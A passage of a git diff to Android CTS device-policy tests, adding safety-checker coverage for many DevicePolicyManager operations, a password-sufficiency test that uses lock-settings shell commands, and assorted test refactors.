+import static android.app.admin.DevicePolicyManager.OPERATION_SET_KEEP_UNINSTALLED_PACKAGES;
+import static android.app.admin.DevicePolicyManager.OPERATION_SET_KEYGUARD_DISABLED;
+import static android.app.admin.DevicePolicyManager.OPERATION_SET_LOCK_TASK_FEATURES;
+import static android.app.admin.DevicePolicyManager.OPERATION_SET_LOCK_TASK_PACKAGES;
+import static android.app.admin.DevicePolicyManager.OPERATION_SET_LOGOUT_ENABLED;
+import static android.app.admin.DevicePolicyManager.OPERATION_SET_OVERRIDE_APNS_ENABLED;
+import static android.app.admin.DevicePolicyManager.OPERATION_SET_PACKAGES_SUSPENDED;
+import static android.app.admin.DevicePolicyManager.OPERATION_SET_STATUS_BAR_DISABLED;
+import static android.app.admin.DevicePolicyManager.OPERATION_SET_SYSTEM_SETTING;
+import static android.app.admin.DevicePolicyManager.OPERATION_SET_SYSTEM_UPDATE_POLICY;
+import static android.app.admin.DevicePolicyManager.OPERATION_SET_TRUST_AGENT_CONFIGURATION;
+import static android.app.admin.DevicePolicyManager.OPERATION_SET_USER_CONTROL_DISABLED_PACKAGES;
 import static android.app.admin.DevicePolicyManager.OPERATION_START_USER_IN_BACKGROUND;
 import static android.app.admin.DevicePolicyManager.OPERATION_STOP_USER;
 import static android.app.admin.DevicePolicyManager.OPERATION_SWITCH_USER;
+import static android.app.admin.DevicePolicyManager.OPERATION_UNINSTALL_CA_CERT;
+import static android.app.admin.DevicePolicyManager.OPERATION_WIPE_DATA;
 
 import android.app.admin.DevicePolicyManager;
+import android.app.admin.FactoryResetProtectionPolicy;
+import android.content.ComponentName;
+import android.os.Bundle;
 import android.os.UserHandle;
 
 import com.android.cts.devicepolicy.DevicePolicySafetyCheckerIntegrationTester;
 
+import java.util.Arrays;
+import java.util.List;
+
 // TODO(b/174859111): move to automotive-only section
 /**
  * Tests that DPM calls fail when determined by the
  * {@link android.app.admin.DevicePolicySafetyChecker}.
  */
 public final class DevicePolicySafetyCheckerIntegrationTest extends BaseDeviceOwnerTest {
-
     private static final int NO_FLAGS = 0;
     private static final UserHandle USER_HANDLE = UserHandle.of(42);
-
+    public static final String TEST_PACKAGE = BasicAdminReceiver.class.getPackage().getName();
+    public static final ComponentName TEST_COMPONENT = new ComponentName(
+            TEST_PACKAGE, BasicAdminReceiver.class.getName());
+    public static final List<String> TEST_ACCOUNTS = Arrays.asList("Account 1");
+    public static final List<String> TEST_PACKAGES = Arrays.asList(TEST_PACKAGE);
+    private static final String TEST_CA =
+            "-----BEGIN CERTIFICATE-----\n"
+            + "MIICVzCCAgGgAwIBAgIJAMvnLHnnfO/IMA0GCSqGSIb3DQEBBQUAMIGGMQswCQYD\n"
+            + "VQQGEwJJTjELMAkGA1UECAwCQVAxDDAKBgNVBAcMA0hZRDEVMBMGA1UECgwMSU1G\n"
+            + "TCBQVlQgTFREMRAwDgYDVQQLDAdJTUZMIE9VMRIwEAYDVQQDDAlJTUZMLklORk8x\n"
+            + "HzAdBgkqhkiG9w0BCQEWEHJhbWVzaEBpbWZsLmluZm8wHhcNMTMwODI4MDk0NDA5\n"
+            + "WhcNMjMwODI2MDk0NDA5WjCBhjELMAkGA1UEBhMCSU4xCzAJBgNVBAgMAkFQMQww\n"
+            + "CgYDVQQHDANIWUQxFTATBgNVBAoMDElNRkwgUFZUIExURDEQMA4GA1UECwwHSU1G\n"
+            + "TCBPVTESMBAGA1UEAwwJSU1GTC5JTkZPMR8wHQYJKoZIhvcNAQkBFhByYW1lc2hA\n"
+            + "aW1mbC5pbmZvMFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJ738cbTQlNIO7O6nV/f\n"
+            + "DJTMvWbPkyHYX8CQ7yXiAzEiZ5bzKJjDJmpRAkUrVinljKns2l6C4++l/5A7pFOO\n"
+            + "33kCAwEAAaNQME4wHQYDVR0OBBYEFOdbZP7LaMbgeZYPuds2CeSonmYxMB8GA1Ud\n"
+            + "IwQYMBaAFOdbZP7LaMbgeZYPuds2CeSonmYxMAwGA1UdEwQFMAMBAf8wDQYJKoZI\n"
+            + "hvcNAQEFBQADQQBdrk6J9koyylMtl/zRfiMAc2zgeC825fgP6421NTxs1rjLs1HG\n"
+            + "VcUyQ1/e7WQgOaBHi9TefUJi+4PSVSluOXon\n"
+            + "-----END CERTIFICATE-----";
     private final DevicePolicySafetyCheckerIntegrationTester mTester =
             new DevicePolicySafetyCheckerIntegrationTester() {
 
@@ -43,30 +89,137 @@
         protected int[] getSafetyAwareOperations() {
             return new int [] {
                     OPERATION_CREATE_AND_MANAGE_USER,
+                    // TODO(b/175245108) Add test for this operation; testing
+                    // dpm.installSystemUpdate will require upload a test system update file.
+                    // OPERATION_INSTALL_SYSTEM_UPDATE,
+                    OPERATION_REBOOT,
                     OPERATION_REMOVE_USER,
+                    OPERATION_REQUEST_BUGREPORT,
+                    OPERATION_SET_APPLICATION_HIDDEN,
+                    OPERATION_SET_APPLICATION_RESTRICTIONS,
+                    OPERATION_SET_CAMERA_DISABLED,
+                    OPERATION_SET_FACTORY_RESET_PROTECTION_POLICY,
+                    OPERATION_SET_GLOBAL_PRIVATE_DNS,
+                    OPERATION_SET_KEEP_UNINSTALLED_PACKAGES,
+                    OPERATION_SET_KEYGUARD_DISABLED,
+                    OPERATION_SET_LOCK_TASK_FEATURES,
+                    OPERATION_SET_LOCK_TASK_PACKAGES,
+                    OPERATION_SET_LOGOUT_ENABLED,
+                    OPERATION_SET_OVERRIDE_APNS_ENABLED,
+                    OPERATION_SET_PACKAGES_SUSPENDED,
+                    OPERATION_SET_STATUS_BAR_DISABLED,
+                    OPERATION_SET_SYSTEM_SETTING,
+                    OPERATION_SET_SYSTEM_UPDATE_POLICY,
+                    OPERATION_SET_TRUST_AGENT_CONFIGURATION,
+                    OPERATION_SET_USER_CONTROL_DISABLED_PACKAGES,
                     OPERATION_START_USER_IN_BACKGROUND,
                     OPERATION_STOP_USER,
-                    OPERATION_SWITCH_USER};
+                    OPERATION_SWITCH_USER,
+                    OPERATION_UNINSTALL_CA_CERT,
+                    OPERATION_WIPE_DATA
+            };
         }
 
         @Override
-        protected void runOperation(DevicePolicyManager dpm, int operation, boolean overloaded) {
+        protected int[] getOverloadedSafetyAwareOperations() {
+            return new int [] {
+                OPERATION_WIPE_DATA
+            };
+        }
+
+        @Override
+        protected void runOperation(DevicePolicyManager dpm, ComponentName admin, int operation,
+                boolean overloaded) {
             switch (operation) {
                 case OPERATION_CREATE_AND_MANAGE_USER:
-                    dpm.createAndManageUser(/* admin= */ getWho(), /* name= */ null,
-                            /* profileOwner= */ getWho(), /* adminExtras= */ null, NO_FLAGS);
+                    dpm.createAndManageUser(admin, /* name= */ null, admin, /* adminExtras= */ null,
+                            NO_FLAGS);
+                    break;
+                case OPERATION_REBOOT:
+                    dpm.reboot(admin);
                     break;
                 case OPERATION_REMOVE_USER:
-                    dpm.removeUser(getWho(), USER_HANDLE);
+                    dpm.removeUser(admin, USER_HANDLE);
+                    break;
+                case OPERATION_REQUEST_BUGREPORT:
+                    dpm.requestBugreport(admin);
+                    break;
+                case OPERATION_SET_APPLICATION_HIDDEN:
+                    dpm.setApplicationHidden(admin, TEST_PACKAGE, /* hidden= */true);
+                    break;
+                case OPERATION_SET_APPLICATION_RESTRICTIONS:
+                    dpm.setApplicationRestrictions(admin, TEST_PACKAGE, new Bundle());
+                    break;
+                case OPERATION_SET_CAMERA_DISABLED:
+                    dpm.setCameraDisabled(admin, /* disabled= */ true);
+                    break;
+                case OPERATION_SET_FACTORY_RESET_PROTECTION_POLICY:
+                    dpm.setFactoryResetProtectionPolicy(admin,
+                            new FactoryResetProtectionPolicy.Builder()
+                                    .setFactoryResetProtectionAccounts(TEST_ACCOUNTS)
+                                    .setFactoryResetProtectionEnabled(false)
+                                    .build());
+                    break;
+                case OPERATION_SET_GLOBAL_PRIVATE_DNS:
+                    dpm.setGlobalPrivateDnsModeOpportunistic(admin);
+                    break;
+                case OPERATION_SET_KEEP_UNINSTALLED_PACKAGES:
+                    dpm.setKeepUninstalledPackages(admin, TEST_PACKAGES);
+                    break;
+                case OPERATION_SET_KEYGUARD_DISABLED:
+                    dpm.setKeyguardDisabled(admin, true);
+                    break;
+                case OPERATION_SET_LOCK_TASK_FEATURES:
+                    dpm.setLockTaskFeatures(admin, NO_FLAGS);
+                    break;
+                case OPERATION_SET_LOCK_TASK_PACKAGES:
+                    dpm.setLockTaskPackages(admin, new String[] { TEST_PACKAGE });
+                    break;
+                case OPERATION_SET_LOGOUT_ENABLED:
+                    dpm.setLogoutEnabled(admin, /* enabled */ true);
+                    break;
+                case OPERATION_SET_OVERRIDE_APNS_ENABLED:
+                    dpm.setOverrideApnsEnabled(admin, /* enabled */ true);
+                    break;
+                case OPERATION_SET_PACKAGES_SUSPENDED:
+                    dpm.setPackagesSuspended(admin,  new String[] { TEST_PACKAGE },
+                            /* suspend= */ true);
+                    break;
+                case OPERATION_SET_STATUS_BAR_DISABLED:
+                    dpm.setStatusBarDisabled(admin, true);
+                    break;
+                case OPERATION_SET_SYSTEM_SETTING:
+                    dpm.setSystemSetting(admin, "TestSetting", "0");
+                    break;
+                case OPERATION_SET_SYSTEM_UPDATE_POLICY:
+                    dpm.setSystemUpdatePolicy(admin, null);
+                    break;
+                case OPERATION_SET_TRUST_AGENT_CONFIGURATION:
+                    dpm.setTrustAgentConfiguration(admin, TEST_COMPONENT,
+                            /* configuration= */ null);
+                    break;
+                case OPERATION_SET_USER_CONTROL_DISABLED_PACKAGES:
+                    dpm.setUserControlDisabledPackages(admin, TEST_PACKAGES);
                     break;
                 case OPERATION_START_USER_IN_BACKGROUND:
-                    dpm.startUserInBackground(getWho(), USER_HANDLE);
+                    dpm.startUserInBackground(admin, USER_HANDLE);
                     break;
                 case OPERATION_STOP_USER:
-                    dpm.stopUser(getWho(), USER_HANDLE);
+                    dpm.stopUser(admin, USER_HANDLE);
                     break;
                 case OPERATION_SWITCH_USER:
-                    dpm.switchUser(getWho(), USER_HANDLE);
+                    dpm.switchUser(admin, USER_HANDLE);
+                    break;
+                case OPERATION_UNINSTALL_CA_CERT:
+                    dpm.uninstallCaCert(admin, TEST_CA.getBytes());
+                    break;
+                case OPERATION_WIPE_DATA:
+                    if (overloaded) {
+                        dpm.wipeData(NO_FLAGS,
+                                /* reason= */ "DevicePolicySafetyCheckerIntegrationTest");
+                    } else {
+                        dpm.wipeData(NO_FLAGS);
+                    }
                     break;
                 default:
                     throwUnsupportedOperationException(operation, overloaded);
@@ -78,6 +231,6 @@
      * Tests that all safety-aware operations are properly implemented.
      */
     public void testAllOperations() {
-        mTester.testAllOperations(mDevicePolicyManager);
+        mTester.testAllOperations(mDevicePolicyManager, getWho());
     }
 }
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/NetworkLoggingTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/NetworkLoggingTest.java
index e8f35f2..1856d2c 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/NetworkLoggingTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/NetworkLoggingTest.java
@@ -172,9 +172,9 @@
         }
 
         // generate enough traffic to fill the batches.
-        int testReqNo = 0;
+        int fakeReqNo = 0;
         for (int i = 0; i < mBatchesRequested; i++) {
-            testReqNo += generateTestTraffic();
+            fakeReqNo += generateFakeTraffic();
         }
 
         // if DeviceAdminReceiver#onNetworkLogsAvailable() hasn't been triggered yet, wait for up to
@@ -190,11 +190,11 @@
 
         // Verify network logs.
         assertEquals("First event has the wrong id.", 0L, mNetworkEvents.get(0).getId());
-        // For each of the real URLs we have two events: one DNS and one connect. Test requests
+        // For each of the real URLs we have two events: one DNS and one connect. Fake requests
         // don't require DNS queries.
         final int eventsExpected =
                 Math.min(FULL_LOG_BATCH_SIZE * mBatchesRequested,
-                        2 * LOGGED_URLS_LIST.length + testReqNo);
+                        2 * LOGGED_URLS_LIST.length + fakeReqNo);
         verifyNetworkLogs(mNetworkEvents, eventsExpected);
     }
 
@@ -340,11 +340,11 @@
     }
 
     /** Quickly generate loads of events by repeatedly connecting to a local server. */
-    private int generateTestTraffic() throws IOException, InterruptedException {
+    private int generateFakeTraffic() throws IOException, InterruptedException {
         final ServerSocket serverSocket = new ServerSocket(0);
-        final Thread serverThread = startTestServer(serverSocket);
+        final Thread serverThread = startFakeServer(serverSocket);
 
-        final int reqNo = makeTestRequests(serverSocket.getLocalPort());
+        final int reqNo = makeFakeRequests(serverSocket.getLocalPort());
 
         serverSocket.close();
         serverThread.join();
@@ -352,11 +352,11 @@
         return reqNo;
     }
 
-    private int makeTestRequests(int port) {
+    private int makeFakeRequests(int port) {
         int reqNo;
-        final String TEST_SERVER = "127.0.0.1:" + port;
+        final String FAKE_SERVER = "127.0.0.1:" + port;
         for (reqNo = 0; reqNo < FULL_LOG_BATCH_SIZE && mBatchCountDown.getCount() > 0; reqNo++) {
-            connectToWebsite(TEST_SERVER);
+            connectToWebsite(FAKE_SERVER);
             try {
                 // Just to prevent choking the server.
                 Thread.sleep(10);
@@ -367,7 +367,7 @@
         return reqNo;
     }
 
-    private Thread startTestServer(ServerSocket serverSocket) throws InterruptedException {
+    private Thread startFakeServer(ServerSocket serverSocket) throws InterruptedException {
         final Thread serverThread = new Thread(() -> {
             while (!serverSocket.isClosed()) {
                 try {
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/PackageInstallTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/PackageInstallTest.java
index 5280e06..bf85af0 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/PackageInstallTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/PackageInstallTest.java
@@ -126,7 +126,7 @@
                 mContext,
                 REQUEST_CODE,
                 broadcastIntent,
-                PendingIntent.FLAG_UPDATE_CURRENT);
+                PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
         return pendingIntent.getIntentSender();
     }
 
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/PrivateDnsPolicyTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/PrivateDnsPolicyTest.java
index 27f4d46..c0b0eab 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/PrivateDnsPolicyTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/PrivateDnsPolicyTest.java
@@ -28,7 +28,7 @@
 import static org.testng.Assert.assertThrows;
 
 public class PrivateDnsPolicyTest extends BaseDeviceOwnerTest {
-    private static final String TEST_PRIVATE_DNS_HOST = "resolver.example.com";
+    private static final String FAKE_PRIVATE_DNS_HOST = "resolver.example.com";
     private static final String VALID_PRIVATE_DNS_HOST = "dns.google";
 
     private UserManager mUserManager;
@@ -130,7 +130,7 @@
 
         // This host does not resolve, so would output an error.
         callSetGlobalPrivateDnsHostModeExpectingResult(
-                TEST_PRIVATE_DNS_HOST,
+                FAKE_PRIVATE_DNS_HOST,
                 DevicePolicyManager.PRIVATE_DNS_SET_ERROR_HOST_NOT_SERVING);
     }
 
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/UserControlDisabledPackagesTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/UserControlDisabledPackagesTest.java
index de1dd55..927520a 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/UserControlDisabledPackagesTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/UserControlDisabledPackagesTest.java
@@ -16,6 +16,9 @@
 
 package com.android.cts.deviceowner;
 
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
 import android.content.Intent;
 import android.content.pm.ApplicationInfo;
 import android.content.pm.PackageInfo;
@@ -23,7 +26,6 @@
 import android.util.Log;
 
 import java.util.ArrayList;
-import java.util.Collections;
 
 /**
  * Test {@link DevicePolicyManager#setUserControlDisabledPackages} and
@@ -44,13 +46,12 @@
         ArrayList<String> protectedPackages= new ArrayList<>();
         protectedPackages.add(SIMPLE_APP_PKG);
         mDevicePolicyManager.setUserControlDisabledPackages(getWho(), protectedPackages);
-
-        // Launch app so that the app exits stopped state.
+        // Launch an activity so that the app exits stopped state.
         Intent intent = new Intent(Intent.ACTION_MAIN);
         intent.setClassName(SIMPLE_APP_PKG, SIMPLE_APP_ACTIVITY);
         intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        Log.d(TAG, "Starting " + intent + " on user " + mUserId);
         mContext.startActivity(intent);
-
     }
 
     public void testForceStopWithUserControlDisabled() throws Exception {
@@ -59,29 +60,35 @@
         // Check if package is part of UserControlDisabledPackages before checking if 
         // package is stopped since it is a necessary condition to prevent stopping of
         // package
-        assertEquals(pkgs, mDevicePolicyManager.getUserControlDisabledPackages(getWho()));
-        assertFalse(isPackageStopped(SIMPLE_APP_PKG));
+
+        assertThat(mDevicePolicyManager.getUserControlDisabledPackages(getWho()))
+                .containsExactly(SIMPLE_APP_PKG);
+        assertPackageStopped(/* stopped= */ false);
     }
 
     public void testClearSetUserControlDisabledPackages() throws Exception {
         final ArrayList<String> pkgs = new ArrayList<>();
         mDevicePolicyManager.setUserControlDisabledPackages(getWho(), pkgs);
-        assertEquals(pkgs, mDevicePolicyManager.getUserControlDisabledPackages(getWho()));
+        assertThat(mDevicePolicyManager.getUserControlDisabledPackages(getWho())).isEmpty();
     }
 
     public void testForceStopWithUserControlEnabled() throws Exception {
-        assertTrue(isPackageStopped(SIMPLE_APP_PKG));
-        assertEquals(Collections.emptyList(),
-                mDevicePolicyManager.getUserControlDisabledPackages(getWho()));
+        assertPackageStopped(/* stopped= */ true);
+        assertThat(mDevicePolicyManager.getUserControlDisabledPackages(getWho())).isEmpty();
     }
 
     private boolean isPackageStopped(String packageName) throws Exception {
         PackageInfo packageInfo = mContext.getPackageManager()
                 .getPackageInfo(packageName, PackageManager.GET_META_DATA);
-        Log.d(TAG, "Application flags for " + packageName + " = "
-                + Integer.toHexString(packageInfo.applicationInfo.flags));
-        return ((packageInfo.applicationInfo.flags & ApplicationInfo.FLAG_STOPPED)
-                == ApplicationInfo.FLAG_STOPPED) ? true : false;
+        boolean stopped = (packageInfo.applicationInfo.flags & ApplicationInfo.FLAG_STOPPED)
+                == ApplicationInfo.FLAG_STOPPED;
+        Log.d(TAG, "Application flags for " + packageName + " on user " + mUserId + " = "
+                + Integer.toHexString(packageInfo.applicationInfo.flags) + ". Stopped: " + stopped);
+        return stopped;
     }
 
+    private void assertPackageStopped(boolean stopped) throws Exception {
+        assertWithMessage("Package %s stopped for user %s", SIMPLE_APP_PKG, mUserId)
+                .that(isPackageStopped(SIMPLE_APP_PKG)).isEqualTo(stopped);
+    }
 }
diff --git a/hostsidetests/devicepolicy/app/IntentSender/src/com/android/cts/intent/sender/AppLinkTest.java b/hostsidetests/devicepolicy/app/IntentSender/src/com/android/cts/intent/sender/AppLinkTest.java
index 1da1202..eef1577 100644
--- a/hostsidetests/devicepolicy/app/IntentSender/src/com/android/cts/intent/sender/AppLinkTest.java
+++ b/hostsidetests/devicepolicy/app/IntentSender/src/com/android/cts/intent/sender/AppLinkTest.java
@@ -93,6 +93,7 @@
     private Intent getHttpIntent() {
         Intent i = new Intent(Intent.ACTION_VIEW);
         i.addCategory(Intent.CATEGORY_BROWSABLE);
+        i.addCategory(Intent.CATEGORY_DEFAULT);
         i.setData(Uri.parse("http://com.android.cts.intent.receiver"));
         return i;
     }
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/ActivePasswordSufficientForDeviceTest.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/ActivePasswordSufficientForDeviceTest.java
new file mode 100644
index 0000000..eb3f9ee
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/ActivePasswordSufficientForDeviceTest.java
@@ -0,0 +1,123 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.managedprofile;
+
+import static android.app.admin.DevicePolicyManager.PASSWORD_COMPLEXITY_HIGH;
+import static android.app.admin.DevicePolicyManager.PASSWORD_COMPLEXITY_LOW;
+import static android.app.admin.DevicePolicyManager.PASSWORD_COMPLEXITY_MEDIUM;
+import static android.app.admin.DevicePolicyManager.PASSWORD_COMPLEXITY_NONE;
+import static android.app.admin.DevicePolicyManager.PASSWORD_QUALITY_ALPHANUMERIC;
+import static android.app.admin.DevicePolicyManager.PASSWORD_QUALITY_NUMERIC;
+import static android.app.admin.DevicePolicyManager.PASSWORD_QUALITY_UNSPECIFIED;
+import static android.os.UserHandle.USER_SYSTEM;
+
+import static org.junit.Assert.fail;
+import static org.testng.Assert.assertThrows;
+
+import android.os.Process;
+import android.os.UserHandle;
+
+import com.android.compatibility.common.util.SystemUtil;
+
+public class ActivePasswordSufficientForDeviceTest extends BaseManagedProfileTest {
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mDevicePolicyManager.setPasswordQuality(ADMIN_RECEIVER_COMPONENT,
+                PASSWORD_QUALITY_UNSPECIFIED);
+        mDevicePolicyManager.setRequiredPasswordComplexity(PASSWORD_COMPLEXITY_NONE);
+        mParentDevicePolicyManager.setRequiredPasswordComplexity(PASSWORD_COMPLEXITY_NONE);
+    }
+
+    public void testActivePsswordSufficientForDevice_notCallableOnProfileInstance() {
+        assertThrows(SecurityException.class,
+                () -> mDevicePolicyManager.isActivePasswordSufficientForDeviceRequirement());
+    }
+
+    public void testActivePsswordSufficientForDevice_NoPolicy() {
+        assertTrue(mParentDevicePolicyManager.isActivePasswordSufficientForDeviceRequirement());
+    }
+
+    public void testActivePsswordSufficientForDevice_UnmetParentPolicy() {
+        mParentDevicePolicyManager.setRequiredPasswordComplexity(PASSWORD_COMPLEXITY_MEDIUM);
+        assertFalse(mParentDevicePolicyManager.isActivePasswordSufficientForDeviceRequirement());
+    }
+
+    public void testActivePsswordSufficientForDevice_IrrelevantProfilePolicy() {
+        mDevicePolicyManager.setPasswordQuality(ADMIN_RECEIVER_COMPONENT, PASSWORD_QUALITY_NUMERIC);
+        mDevicePolicyManager.setPasswordMinimumLength(ADMIN_RECEIVER_COMPONENT, 4);
+        mDevicePolicyManager.setRequiredPasswordComplexity(PASSWORD_COMPLEXITY_MEDIUM);
+        assertTrue(mParentDevicePolicyManager.isActivePasswordSufficientForDeviceRequirement());
+    }
+
+    public void testActivePsswordSufficientForDevice_UnifiedPassword_BothPolicies() {
+        changeUserCredential("1234", null, USER_SYSTEM);
+        try {
+            mDevicePolicyManager.setPasswordQuality(ADMIN_RECEIVER_COMPONENT,
+                    PASSWORD_QUALITY_ALPHANUMERIC);
+            mDevicePolicyManager.setPasswordMinimumLength(ADMIN_RECEIVER_COMPONENT, 4);
+            mParentDevicePolicyManager.setRequiredPasswordComplexity(PASSWORD_COMPLEXITY_LOW);
+
+            assertFalse(mDevicePolicyManager.isActivePasswordSufficient());
+            assertTrue(mParentDevicePolicyManager.isActivePasswordSufficientForDeviceRequirement());
+        } finally {
+            mDevicePolicyManager.setPasswordQuality(ADMIN_RECEIVER_COMPONENT,
+                    PASSWORD_QUALITY_UNSPECIFIED);
+            mParentDevicePolicyManager.setRequiredPasswordComplexity(PASSWORD_COMPLEXITY_NONE);
+            changeUserCredential(null, "1234", USER_SYSTEM);
+        }
+    }
+
+    //TODO: reinstate test once LockSettingsShellCommand allows setting password for profiles
+    // that have unified challenge b/176230819
+    private void toTestActivePsswordSufficientForDevice_SeparatePassword_BothPolicies() {
+        final int myUserId = UserHandle.getUserId(Process.myUid());
+        changeUserCredential("1234", null, USER_SYSTEM);
+        changeUserCredential("asdf12", "1234", myUserId); // This currently fails
+        try {
+            mDevicePolicyManager.setRequiredPasswordComplexity(PASSWORD_COMPLEXITY_LOW);
+            mParentDevicePolicyManager.setRequiredPasswordComplexity(PASSWORD_COMPLEXITY_HIGH);
+
+            assertTrue(mDevicePolicyManager.isActivePasswordSufficient());
+            assertFalse(
+                    mParentDevicePolicyManager.isActivePasswordSufficientForDeviceRequirement());
+        } finally {
+            mDevicePolicyManager.setRequiredPasswordComplexity(PASSWORD_COMPLEXITY_NONE);
+            mParentDevicePolicyManager.setRequiredPasswordComplexity(PASSWORD_COMPLEXITY_NONE);
+            changeUserCredential(null, "1234", USER_SYSTEM);
+        }
+    }
+
+    private void changeUserCredential(String newCredential, String oldCredential, int userId) {
+        final String oldCredentialArgument = (oldCredential == null || oldCredential.isEmpty()) ? ""
+                : ("--old " + oldCredential);
+        if (newCredential != null && !newCredential.isEmpty()) {
+            String commandOutput = SystemUtil.runShellCommand(String.format(
+                    "cmd lock_settings set-password --user %d %s %s", userId, oldCredentialArgument,
+                    newCredential));
+            if (!commandOutput.startsWith("Password set to")) {
+                fail("Failed to set user credential: " + commandOutput);
+            }
+        } else {
+            String commandOutput = SystemUtil.runShellCommand(String.format(
+                    "cmd lock_settings clear --user %d %s", userId, oldCredentialArgument));
+            if (!commandOutput.startsWith("Lock credential cleared")) {
+                fail("Failed to clear user credential: " + commandOutput);
+            }
+        }
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/BluetoothSharingRestrictionTest.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/BluetoothSharingRestrictionTest.java
index 4c5659b..3270ef2 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/BluetoothSharingRestrictionTest.java
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/BluetoothSharingRestrictionTest.java
@@ -39,7 +39,7 @@
  */
 public class BluetoothSharingRestrictionTest extends BaseManagedProfileTest {
     /** How long should we wait for the component state to change. */
-    private static final int COMPONENT_STATE_TIMEOUT_MS = 2000;
+    private static final int COMPONENT_STATE_TIMEOUT_MS = 5000;
     /** How often to check component state. */
     private static final int POLL_TIME_MS = 400;
     /** Activity that handles Bluetooth sharing. */
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/DevicePolicyManagerParentSupportTest.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/DevicePolicyManagerParentSupportTest.java
index 5ca2c67..7b7a818 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/DevicePolicyManagerParentSupportTest.java
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/DevicePolicyManagerParentSupportTest.java
@@ -26,7 +26,7 @@
             FakeComponent.class.getPackage().getName(), FakeComponent.class.getName());
 
     public void testSetAndGetRequiredPasswordComplexity_onParent() {
-        if (!mHasSecureLockScreen) {
+       if (!mHasSecureLockScreen) {
             return;
         }
 
@@ -106,7 +106,7 @@
         assertThat(actualMaximumPasswordLength).isGreaterThan(0);
     }
 
-    public void testIsActivePasswordSufficient_onParent_isSupported() {
+    public void testIsActivePasswordSufficient_onParent_setOnParent_isSupported() {
         try {
             mParentDevicePolicyManager.setRequiredPasswordComplexity(PASSWORD_COMPLEXITY_HIGH);
             assertThat(mParentDevicePolicyManager.isActivePasswordSufficient()).isFalse();
@@ -115,7 +115,7 @@
         }
     }
 
-    public void testIsActivePasswordSufficient_onParent_appliesComplexity() {
+    public void testIsActivePasswordSufficient_onParent_setOnProfile_isSupported() {
         try {
             mDevicePolicyManager.setRequiredPasswordComplexity(PASSWORD_COMPLEXITY_HIGH);
             assertThat(mParentDevicePolicyManager.isActivePasswordSufficient()).isFalse();
@@ -125,7 +125,7 @@
     }
 
     public void testSetPasswordQuality_onParent_isNotSupported() {
-        assertThrows(IllegalArgumentException.class,
+        assertThrows(SecurityException.class,
                 () -> setPasswordQuality(PASSWORD_QUALITY_NUMERIC_COMPLEX));
     }
 
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/ParentProfileTest.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/ParentProfileTest.java
index b74de80..3fd91ef 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/ParentProfileTest.java
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/ParentProfileTest.java
@@ -72,6 +72,7 @@
             .add("setCameraDisabled")
             .add("getCameraDisabled")
             .add("isActivePasswordSufficient")
+            .add("isActivePasswordSufficientForDeviceRequirement")
             .add("getCurrentFailedPasswordAttempts")
             .add("getMaximumFailedPasswordsForWipe")
             .add("setMaximumFailedPasswordsForWipe")
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/PasswordMinimumRestrictionsTest.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/PasswordMinimumRestrictionsTest.java
deleted file mode 100644
index 8b7d16b..0000000
